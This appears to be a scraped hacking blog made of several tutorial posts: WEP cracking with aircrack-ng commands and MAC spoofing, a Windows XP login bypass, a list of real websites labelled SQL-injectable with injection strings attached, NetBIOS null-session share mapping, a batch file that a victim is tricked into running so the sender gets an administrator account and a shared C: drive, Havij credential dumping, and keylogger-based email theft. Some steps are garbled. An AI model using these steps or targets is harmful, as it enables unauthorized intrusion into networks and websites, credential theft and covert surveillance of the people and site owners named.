Every encrypted packet contains a 24 or 48 bit IV, depending on the type of encryption used. Since the pre-shared key is static and could be easily obtained, the purpose of the IV is to encrypt each packet with a different key. For example, to avoid a duplicate encryption key in every packet sent, the IV is constantly changing. The IV must be known to the client that received the encrypted packet in order to decrypt it; therefore, it is sent in plaintext.

The problem with this method is that the Initialization Vectors are not always the same. In theory, if every IV was different, it would be nearly impossible to obtain the network key; this is not the case. WEP comes with a 24 bit IV; therefore, giving the encryption 16 million unique values that can be used. This may sound like a large number, but when it comes to busy network traffic, it’s not.

Every IV is not different; and this is where the issues arise. Network hackers know that all the keys used to encrypt packets are related by a known IV (since the user entered WEP part of the key is rarely changed); therefore, the only change in the key is 24 bits. Since the IV is randomly chosen, there is a 50% probability that the same IV will repeat after just 5,000 packets; this is known as a collision.

If a hacker knows the content of one packet, he can use the collision to view the contents of the other packet. If enough packets are collected with IV matches, your network’s security can be compromised.

The crack

Two of the most popular programs used for actually cracking the WEP key are Airsnort and Aircrack. Airsnort can be used with the .dump files that Kismet provides; and Aircrack can be used with the .cap files that Airodump provides.

Airsnort can be used on it’s own without any other software capturing packets; although, it has been reported to be extremely unstable in this state, and you should probably not chance loosing all your captured data. A better method would be to let Airsnort recover the encryption key from your Kismet .dump file. Kismet and Airsnort can run simultaneously.

For this demonstration, we’ll be using Aircrack. You can use Airodump to capture the packets, and Aircrack to crack the encryption key at the same time.

With Airodump running, open a new command window and type:
aircrack -f 3 -n 64 -q 3 george.cap

The -f switch followed by a number is the fudgefactor; which is a variable that the program uses to define how thoroughly it scans the .cap file. A larger number will give you a better chance of finding the key, but will usually take longer. The default is 2.

The -n switch followed by 64 represents that you are trying to crack a WEP 64 key. I knew because it was a setup; In the real world there is no way to determine what WEP key length a target access point is using. You may have to try both 64 and 128.

The -q 3 switch was used to display the progress of the software. It can be left out altogether to provide a faster crack; although, if you’ve obtained enough unique IVs, you should not be waiting more than a couple minutes.

A -m switch can be used, followed by a MAC address, to filter a specific AP’s usable packets; this would come in handy if you were collecting packets from multiple APs in Airodump.

Aircrack recovered my WEP 64 key within 1 minute using 76,000 unique IVs; the whole process took around 34 minutes.

The same experiment was repeated with WEP 128 and it took about 43 minutes. The reason it was not substantially longer is because I simply let Airplay replay more packets. Sometimes you can get lucky and capture an ARP Request packet within a few minutes; otherwise, it could take a couple hours.

WI-FI HACKING TOOLS

I am going to share with you some of my favorite wireless tools that can be used to hack Wi-Fi password using Ubuntu or any other Linux distribution:

Netcut:
Disconnect any wifi devices from network. Support windows OS . The driver and Install package has been upgrade. tested working under windows 7 both 32 bit and 64 bit OS. Its change MAC address on any adapter, including wireless. Details at How to change MAC. Also support Clone MAC address from any PC that NetCut monitored.
Whereas Wifikill use for Android applications to disable internet connections for a device on same network. Disconnect wifi connection and get full network on your device.

Download: Netcut or Wifikill

Aircrack-ng
Aircrack-ng (a fork of aircrack) is my main tool for cracking Wi-Fi passwords. It has a wireless network detector, a packet sniffer, WEP and WPA/WPA2-PSK cracker, and an analysis tool for 802.11 wireless LANs. Aircrack-ng works with any wireless card whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.

Download: Aircrack-ng

Kismet

Kismet is a really good network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. It will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic. Kismet works in passive mode, which means it is capable of detecting the presence of both wireless access points and wireless clients without sending any log-gable packets.
ismet – does a little more than just detecting networks. Aside from providing every detail about a network except the encryption key, Kismet is a packet sniffer and intrusion detection system.

Download: Kismet

NetStumbler
Network Stumbler a.k.a NetStumbler – This Windows based tool easily finds wireless signals being broadcast within range – A must have. It also has ability to determine Signal/Noise info that can be used for site surveys. I actually know of one highly known public wireless hotspot provider that uses this utility for their site surveys.

Download: NetStumbler

SWScanner
SWScanner is specifically designed to make the whole wardriving process a lot easier. It is also intended to manage many tasks related to wireless networking. SWScanner is compatible with NetStumbler files and can be integrated with GPS devices.

These are only three of the many wireless tools that can get you going in no time, so feel free to explore.
Download: SWScanner

Step 1:-

First Download Backtrack from the following link:

http://www.remote-exploit.org/backtrack_download.html

Step 2:-

Burn the iso image on CD and boot your laptop from CD drive

Step 3:-

Select the third boot option(VESA/KDE).

Step 4:-

Once in BT3, click the tiny black box in the lower left corner to load up a

"Konsole" window.

Step 5:-

Type the following command

airmon-ng

Note down the interface name. In this example wifi0

Step 6:-

airmon-ng stop wifi0

Step 7:-

ifconfig wifi0 down

Step 8:-

macchanger --mac 00:11:22:33:44:66 wifi0

Step 9:-

airmon-ng start wifi0

Step 10:-

airodump-ng wifi0

This will start populating Wifi networks. Press Ctrl + C to stop.

Check the network with WEP encryption.

Notedown BSSID, CH and ESSID somewhere in notepad or paper

Note that if the same BSSID is available in the second part with STATION associated with it,

means you some one is accessing that network and our task will be little easier.

If not than don’t worry we will still crack it.

Step 11:-

airodump-ng -c (channel) -w (file name)

Replace

(channel) with the CH which u had already n

(file name) with any name of your choice

(bssid) with the BSSID which u had already note

--bssid (bssid) wifi0

Note it

Leave this console as it is and start new konsole

Step 12:-

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0

If you don’t get Association Successful mesage then keep on trying until

you got success.

Step 13:-

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0

Well if you don’t see ARP ACK and sent packets are not increasing or still 0

than it means no 1 is

accessing that network.But don’t worry you go an optional step,

Leave this console as it is and start new k

Step 14:-

aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF

konsole

message than keep on trying until you get success

got an optional step

konsole

–b (bssid) –h 00:11:22:33:44:66 wfi0

Press y and enter

Now you will see that ARP and ACK packets in 2nd console are increasing fast

Keep this console as it is and start 4th console.

Step 15:-

aircrack-ng -b (bssid) (filename)-

Just wait and watch…..Backtrack will do rest of the work.

Hurray we got the key.

Done...

CRACK THE PASSWORD OF WINOW XP LOGIN

2013-01-01T16:36:00.001+05:30

Composed by – Anupam chakravourty

TOPIC- PASSWORD CRACKING FOR WINDOW XP

Friends,some times you fall in problem that your very important file is in your PC but you forgot ypor password which is WINDOW XP

I m’ going to tell you the tricks to crack the password of window xp. Try t, it will absolutely work.

So friends, let you have a PC in which window xp is installed, so what you will do. Its so simple.

· At the time of opening your PC press ‘CTRL+ALT+DELETE’

· Then a pop-up window will appear which ask you for user name and password

· In user name you write ‘ADMINISTRATOR’ and press ‘ENTER’

· Now you are in adminitrator mode

Then type ‘WINDOW+R’ key and write ‘CONTROL USERPASSWORDS2’

· Then press ‘enter’

· Now you were in user account window and there you will able to reset the password of that account which you want.

Now, you will able to login in locked account by changing his password.

A book on hack attack testing .

2012-05-14T22:58:00.001+05:30

Hack Attacks Testing Free Ebook Download.

Hello Friends,

Today,I'll Provide You with One More Ebook called "Hack Attacks Testing."

A Network Security Breach (a Hack, Crack, Or other Invasion) occurs when unauthorized access to the Network is achieved and Havoc Results.
The Best possible defense is ans offensive strategy that allows you to Regularly Test your Network to Reveal the Vulnerabilities and Close the Holes before Someone Gets In.
Written by Veteran Author and Security Expert John Chirillo, Hack Attacks Testing explains How to Perform Your Own Security Audits.

Hack Attacks Testing is a Useful Ebook for those Who own a Website and want to Secure their Sites from Latest Vulnerabilities and Discover Vulnerabilities on their own.

You can find the Download Link for Hack Attacks Testing at the end of this Post.

Given Below is the Table of Contents of Hack Attacks Testing.

Acknowledgments.

Introduction.

Part I : Building a Multisystem Tiger Box.

1. Basic Windows 2000/Windows 2000 Server Installation and Configuration.

2. Basic Linux and Solaris Installation and Configurations.

3. Mac OS X Tiger Box Solutions.

4. Installing and Configuring a Testing Target.

Part II : Using Security Analysis Tools for Your Windows-Based Tiger Box Operating System.

5. Cerberus Internet Scanner.

6. CyberCop Scanner.

7. Internet Scanner.

8. Security Threat Avoidance Technology Scanner.

9. TigerSuite 4.0.

Part III : Using Security Analysis Tools for *NIX and Mac OS X.

10. Hping/2.

11. Nessus Security Scanner.

12. Nmap.

13. SAINT.

14. SARA.

Part IV : Vulnerability Assessment.

15. Comparative Analysis.

16. Appendix A : Linux/Unix Shortcuts and Commands.

17. Appendix B : Whats on the CD-ROM.

Index.

Special Note : This Ebook was Made By-

JOHN CHIRILLO.

Now, Finally for the Download Link-

To Download Hack Attacks Testing Click Here.

A simple KBC game.

2012-05-07T01:05:00.001+05:30

Hello friends today i am posting the game that is made by.The name of the game is KBC.

Yes KBC.

So you want to download the Game so just go Here: KBC Made By Me

List of SQL vunerable website.............

2012-04-29T14:36:00.000+05:30

List of sql vuln

http://wayet-lighting.com/products.php?id=2'
http://www.uadubai.com/products.php?id=2'
http://www.4ips.biz/products.php?id=2'
http://hygienefresh.com/products.php?id=2'
http://www.everyway-medical.com/products.php?id=2=1'
http://www.dragorossi.com/product.asp?ID=3'
http://www.elkay.co.uk/product.asp?id=3&catid=2'
http://www.nutripea.com/product.asp?id=3'
http://www.plantlovers.com.au/product.asp?id=3'
http://www.maryhowardsales.co.uk/order.php?id=5'
http://www.summersidebutchershop.com/order.php?id=5'
http://www.glhom.org.uk/content.php?id=5'
http://ascenttclothingng.com/pages.php?id=5'
http://www.sanjoseforklift.com/used.php?ID=5'
http://www.dhammaweb.net/html/view.php?id=5'
http://everydaypublications.org/EPI/...y.php?id=5%203'
http://www.plushpuppy.co.th/orderform.php?id=5'
http://www.southernpowerlifting.com/form.php?id=5'
http://www.westernsteelcs.com/index....;page=Services
http://bird-in-handonlinestore.com/product.php?ID=5'
http://www.windmillchocolaterie.com/products.php?id=5'
http://www.southern-pride.com/p/testimonials.php?id=5'
http://www.tjeffschool.org/index.php...5&cat_id=4'
http://www.nzcamping.com/region.php?id=5'
http://www.shoemachinery.com/index.php?

http://www.coltpromo.com/product.php...,1,2,3,4,5,6--
http://www.centraldev.net/post.php?i...9+from+users--
http://silver925thai.com/product.php...,1+from+user--
http://www.axiomsports.com/product.p...om+customers--

http://www.webeauty.com.my/english/p...0+from+Admin--

http://www.four-a-bois.net/products....8,9+from+log--

http://www.indianewsheadlines.com/po...chema.tables--
http://www.nzonlinenews.com/post.php...chema.tables--
http://www.wyhknexus.com/post.php?id...lect+0,1,2,3--

http://www.nzonlinenews.com/post.php...chema.tables--
http://www.wyhknexus.com/post.php?id...lect+0,1,2,3--
http://www.bargegol.com/posts.php?id...chema.tables--
http://isawyou.mit.edu/post.php?id=-...chema.tables--
http://www.johandemeij.com/post.php?...chema.tables--
http://freelance101.org/post.php?id=...chema.tables--

Remote Network Penetration via NetBIOS- NetBios Hacking

2012-04-29T14:34:00.000+05:30

Remote Network Penetration via NetBIOS- NetBios Hacking

These are basic techniques but very useful when penetration testing any Windows based network, the techniques were discovered on WinNT but are still very valid on Windows2000 and in some cases Windows2003 due to backwards compatibility.
This article is being written in a procedural manner. I have approached it much like an intruder would actually approach a network penetration. Most of the techniques discussed in this text are rather easy to accomplish once one understands how and why something is being done.
When targetting a given network, the first thing an intruder would do, would be to portscan the remote machine or network. A lot of information can be gathered by a simple port scan but what the intruder is looking for is an open port 139 – the Default NetBios port. It’s surprising how methodical an attack can become based on the open ports of a target machine. You should understand that it is the norm for an NT machine to display different open ports than a Unix machine.
Intruders learn to view a portscan and tell wether it is an NT or Unix machine with fairly accurate results. Obviously there are some exceptions to this, but generally it can be done.
Recently, several tools have been released to fingerprint a machine remotely, but this functionality has not been made available for NT.
Information gathering with NetBIOS can be a fairly easy thing to accomplish, albeit a bit time consuming. NetBIOS is generally considered a bulky protocol with high overhead and tends to be slow, which is where the consumption of time comes in.
If the portscan reports that port 139 is open on the target machine, a natural process follows. The first step is to issue an NBTSTAT command.
The NBTSTAT command can be used to query network machines concerning NetBIOS information. It can also be useful for purging the NetBIOS cache and preloading the LMHOSTS file. This one command can be extremely useful when performing security audits.
Interpretation the information can reveal more than one might think.
Usage: nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]
Switches
-a Lists the remote computer's name table given its host name.
-A Lists the remote computer's name table given its IP address.
-c Lists the remote name cache including the IP addresses.
-n Lists local NetBIOS names.
-r Lists names resolved by broadcast and via WINS.
-R Purges and reloads the remote cache name table.
-S Lists sessions table with the destination IP addresses.
-s Lists sessions table conversions.
The column headings generated by NBTSTAT have the following meanings:
Input
Number of bytes received.
Output
Number of bytes sent.
In/Out
Whether the connection is from the computer (outbound)
or from another system to the local computer (inbound).
Life
The remaining time that a name table cache entry will "live"
before your computer purges it.
Local Name
The local NetBIOS name given to the connection.
Remote Host
The name or IP address of the remote host.
Type
A name can have one of two types: unique or group.
The last byte of the 16 character NetBIOS name often
means something because the same name can be present
multiple times on the same computer. This shows the last
byte of the name converted into hex.
State
Your NetBIOS connections will be shown in one of the
following "states":

State Meaning

Accepting An incoming connection is in process.

Associated The endpoint for a connection has been created
and your computer has associated it with an IP
address.

Connected This is a good state! It means you're connected
to the remote resource.

Connecting Your session is trying to resolve the name-to-IP
address mapping of the destination resource.

Disconnected Your computer requested a disconnect, and it is
waiting for the remote computer to do so.

Disconnecting Your connection is ending.

Idle The remote computer has been opened in the current
session, but is currently not accepting connections.

Inbound An inbound session is trying to connect.

Listening The remote computer is available.

Outbound Your session is creating the TCP connection.

Reconnecting If your connection failed on the first attempt,
it will display this state as it tries to reconnect.
Here is a sample NBTSTAT response of my NT Box:

C:\>nbtstat -A 195.171.236.139

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
MR_B10NDE <00> UNIQUE Registered
WINSEKURE LABS <00> GROUP Registered
MR_B10NDE <03> UNIQUE Registered
MR_B10NDE <20> UNIQUE Registered
WINSEKURE LABS <1E> GROUP Registered

MAC Address = 44-45-53-54-00-00

Using the table below, what can you learn about the machine?

Name Number Type Usage
================================================== =======================
00 U Workstation Service
01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
03 U Messenger Service
06 U RAS Server Service
1F U NetDDE Service
20 U File Server Service
21 U RAS Client Service
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U Modem Sharing Server Service
31 U Modem Sharing Client Service
43 U SMS Client Remote Control
44 U SMS Admin Remote Control Tool
45 U SMS Client Remote Chat
46 U SMS Client Remote Transfer
4C U DEC Pathworks TCPIP Service
52 U DEC Pathworks TCPIP Service
87 U Exchange MTA
6A U Exchange IMC
BE U Network Monitor Agent
BF U Network Monitor Apps
03 U Messenger Service
00 G Domain Name
1B U Domain Master Browser
1C G Domain Controllers
1D U Master Browser
1E G Browser Service Elections
1C G Internet Information Server
00 U Internet Information Server
[2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurences of a single name may appear to be registered, but the suffix will be unique, making the entire name unique.
Group (G): A normal group; the single name may exist with many IP addresses.
Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is necessary to permit the registration. Maximum number of addresses is 25.
Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.
Domain Name (D): New in NT 4.0.
An intruder could use the table above and the output from an nbtstat against your machines to begin gathering information about them. With this information an intruder can tell, to an extent, what services are running on the target machine and sometimes what software packages have been installed. Traditionally, every service or major software package comes with it’s share of vulnerabilities, so this type of information is certainly useful to an intruder.
The next step for an intruder would be to try and list the open shares on the given computer, using the net view command, Here is an example of the net view command used against my box with the open shares C:\ and C:\MP3S\
C:\>net view \\195.171.236.139
Shared resources at \\195.171.236.139

Sharename Type Comment
-----------------------------------------------------------------
C Disk Drive C:\
MP3S Disk My collection of MP3s
The command was completed successfully.
This information would give the intruder a list of shares which he would then use in conjunction with the net use command, a command used to enable a computer to map a share to it’s local drive, below is an example of how an intruder would map the C Share to a local G: drive which he could then browse:
C:\>net use G: \\195.171.236.139\C
The command was completed successfully.

C:\>G:

G:\>
However, If the intruder was targetting a large network rather than a single remote computer, the next logical step would be to glean possible usernames from the remote machine.
A network login consists of two parts, a username and a password. Once an intruder has what he knows to be a valid list of usernames, he has half of several valid logins.
Now, using the nbtstat command, the intruder can get the login name of anyone logged on locally at that machine. In the results from the nbtstat command, entries with the <03> identifier are usernames or computernames. Gleaning usernames can also be accomplished through a null IPC session and the SID tools
The IPC$ (Inter-Process Communication) share is a standard hidden share on an NT machine which is mainly used for server to server communication. NT machines were designed to connect to each other and obtain different types of necessary information through this share. As with many design features in any operating system, intruders have learned to use this feature for their own purposes. By connecting to this share an intruder has, for all technical purposes, a valid connection to your server. By connecting to this share as null, the intruder has been able to establish this connection without providing it with credentials.
To connect to the IPC$ share as null, an intruder would issue the following command from a command prompt:
c:\>net use \\[ip address of target machine]\ipc$ "" /user:""
If the connection is successful, the intruder could do a number of things other than gleaning a user list, but lets start with that first. As mentioned earlier, this technique requires a null IPC session and the SID tools. Written by Evgenii Rudnyi, the SID tools come in two different parts, User2sid and Sid2user. User2sid will take an account name or group and give you the corresponding SID. Sid2user will take a SID and give you the name of the corresponding user or group. As a stand alone tool, this process is manual and very time consuming. Userlist.pl is a perl script written by Mnemonix that will automate this process of SID grinding, which drastically cuts down on the time it would take an intruder to glean this information.
At this point, the intruder knows what services are running on the remote machine, which major software packages have been installed (within limits), and has a list of valid usernames and groups for that machine. Although this may seem like a ton of information for an outsider to have about your network, the null IPC session has opened other venues for information gathering. The Rhino9 team has been able to retrieve the entire native security policy for the remote machine.
Such things as account lockout, minimum password length, password age cycling, password uniqueness settings as well as every user, the groups they belong to and the individual domain restrictions for that user – all through a null IPC session. This information gathering ability will appear in Rhino9′s soon to be released Leviathan tool. Some of the tools available now that can be used to gather more information via the IPC null session will be discussed below.
With the null IPC session, an intruder could also obtain a list of network shares that may not otherwise be obtainable. For obvious reasons, an intruder would like to know what network shares you have available on your machines. For this information gathering, the standard net view command is used, as follows:
c:\>net view \\[ip address of remote machine]
Depending on the security policy of the target machine, this list may or may not be denied. Take the example below (ip address has been left out for obvious reasons):
C:\>net view \\0.0.0.0
System error 5 has occurred.

Access is denied.

C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.

C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0

Share name Type Used as Comment

---------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
As you can see, the list of shares on that server was not available until after the IPC null session had been established. At this point you may begin to realize just how dangerous this IPC connection can be, but the IPC techniques that are known to us now are actually very basic. The possibilities that are presented with the IPC share are just beginning to be explored.
Once this list of shares had been given, the intruder could then proceed to issue the net use commands as described above.

Hack Server or Website using DDOS attack........

2012-04-29T14:29:00.003+05:30

Remote Admin Dos Attack - Black Hat Hacking

Pen a dos prompt we will only need a dos prompt.

Basics
Opening a dos prompt -> Go to start and then execute and write
cmd and press ok
Now insert this command: net
And you will get something like this
NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]
Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send
We will select some of those commands and put them on a .bat file.
What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:
dir
pause
And now save this as test.bat and execute it.
Funny aint it ?
Starting

Server

The plan here is to share the C: drive and make a new user
with administrators access
Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.
Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant
Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it’s nice
yo know wich version of windows xp you are going to try share.
Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.
Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.
Extras

Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.
->To see your ip in the dos prompt put this command: ipconfig
Client

Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.
Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!

Hack Website using SQL injection......

2012-04-29T14:25:00.003+05:30

SQL Injection Complete Tutrorial

SQLI Expliot Scanner :
How To Use:
* Select The Google Dork By Using "All Dorks" Option In Left Panel.
* Select Your Choice PHP,ASP,SQL,.Etc
* Select The " Searchqu" From Dropdown List Box.The Default Options is "Google API"
* Select 500 In Max. The Default Is 300.
* Now Start The Search By Clicking Scan Button.
Download Link : http://hotfile.com/dl/136362969/f892439/Poison.zip.html

Havij :
Here I will be using a popular and my personal favourite SQLi tool Havij.

Let us now understand how this tool works. The tutorial can be used for any SQLi tool as the basic functioning is same for all. First thing you need to do is find a vulnerable site.
You can use blind SQL injection technique to figure out weather a site is vulnerable or not.
To check a website for vulnerability, you will first have to reach to a page that accesses the database and is of the form :www.site.com/product.php?id=23

Now simply add an apostrophe( ' )to the end of url and press enter. If the website replies with an error then it shows that the website is vulnerable to SQL injection. Look at the url in the following image( sorry for the over editing of image but it was really needed) . Notice the ' at the end of url and also the error responded from the database.

The error will look something like this : Warning: mysql_num_rows(): supplied argument is not a valid MySQL

So now that we have a vulnerable site for testing, we will now move ahead with using Havij and try to discover admin details of the website. In fact we can dig out every detail from the database using havij. Let us see how.

1. Start Havij and copy the url in TARGET address.( the same url which we used to test for sql injection vulnerability but without ' ).

2. Click on the ANALYZE button and wait for Havij to discover the database files for you.

3. At the bottom of the Havij terminal you will see the search progress.

4. Once a database is found, you can click on TABLES tab to view the available tables.

5. Then Click On "GETDBs" Button in Tab.After The Scan a Table Will Comes Namely "Information Scheme" If this Exists That site is Able to Hack Easily Otherwise You Want to Guess The Tabels.

6. Dont Tick The "Information Scheme"

7. Now Click "Get Tables".After Scan Completed.You Will Get All Tables in That Database Search For Admin,tbl_admin,Adminusers,users,......

8. If Admin Table is Found Make a Tick and Click Get Column.After Scan Completed You Will Get the Columns in That Tables.

9. You Will Get Columns Like This : "ID,User,Password" [Eg Only]

10. After selecting the various columns, click on GET DATA to get the values stored in the columns.
You can see in the figure how Havij has successfully retrieved the admin login details for us.

How To Find Admin Page :

1. In Some Site it is Easy For Example www.site.com The Admin Page is www.site.com/admin [Not For All But Try This Keyword]

2. In Havij Click On Find Admin Tab And Enter the Site URL It Will Find Admin Page For Possible Sites.

3. You Can Scan The Website With Acuntix Web Vulnerability Scanner.

Make a Comments Below....

Hacking E-mail Accounts With Picture TuT

2012-04-29T14:21:00.001+05:30

Hacking E-mail Accounts With Picture TuT

My First post of 2012 help you hack anyone Email ACCOUNT Password.I shall do it by help of "Rin Logger" which are akeylogger.

This Keylogger send the information of slave activities to you by Email. You send this Keylogger to slave System and after installation it send you information about slave logging on gmail.

First Download From Here Rin Logger HERE

It is a WinRar file,open it and click on the File.You see a window like below Picture,here click on the "Create New" option like below pic...

You see window like below pic,here type your Email ID and password,and after it write your Email ID in "Keylogger Recipients" and click on ADD button and then NEXT.

Follow Path like below pic and Set all settings just like pic...

You found a file on your DESKTOP then send this file to slave,when slave come online then it send you a Email on your ID after every 10 Minute.
I hope you Guys Enjoy Well